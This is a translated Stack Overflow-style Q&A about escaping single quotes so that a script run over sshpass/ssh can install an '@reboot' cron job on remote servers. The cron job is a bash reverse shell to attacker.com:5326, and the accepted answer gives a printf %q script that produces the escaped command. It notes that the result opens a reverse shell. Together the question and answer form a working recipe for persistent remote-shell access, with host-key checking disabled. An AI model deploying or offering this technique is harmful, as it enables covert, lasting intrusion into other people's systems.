linux - 如何在脚本中通过双引号 echo 命令传递单引号以添加 cron 作业

标签 linux bash cron echo sshpass

我有一个脚本来更新通过 ssh 访问的远程服务器中的 cron 作业。我无法从 bash 脚本中运行的 echo 命令将单引号放入 cron 作业中。

这正是我在 cron 作业中需要的字符串:

'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

但我无法让他们“坚持”。

这是我脚本中的行(其他行工作正常。

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"

这次尝试的结果是......

@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1

...缺少引号。

我尝试过多个双引号。双引号内有单引号。斜线。

在这种情况下,如何在我的脚本中添加单引号,以便它们最终出现在 cron 作业中?

最佳答案

如果你不需要它漂亮,你可以要求 Bash 来做:

#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"

该脚本的输出是:

The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME

事实上,如果您复制粘贴该命令,您会发现一个文件 TEMPFILENAME 包含:

@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1

当复制粘贴到提示中时,将设置反向 shell。

关于linux - 如何在脚本中通过双引号 echo 命令传递单引号以添加 cron 作业,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55444126/

相关文章:

c++ - 双插槽与单插槽内存模型?

Linux,将输出写入文件,包括命令

linux - 如何删除 Perl 语言环境警告

linux - 在 bash 脚本中使用 emacs 打开和关闭 txt 文件

linux - 将文本文件中的 block 写入多个新文件

linux - 定期运行的发送电子邮件应用程序的设计模式?

linux - 有什么方法可以确定 Linux 可执行文件是否在 ARM 处理器上使用软 float ?

linux - 如何使用awk/sed增加文件中数字的匹配模式?

django - 如果使用 cron 执行 SyntaxError,如果手动执行则 OK

MYSQL 查询结果导出为.csv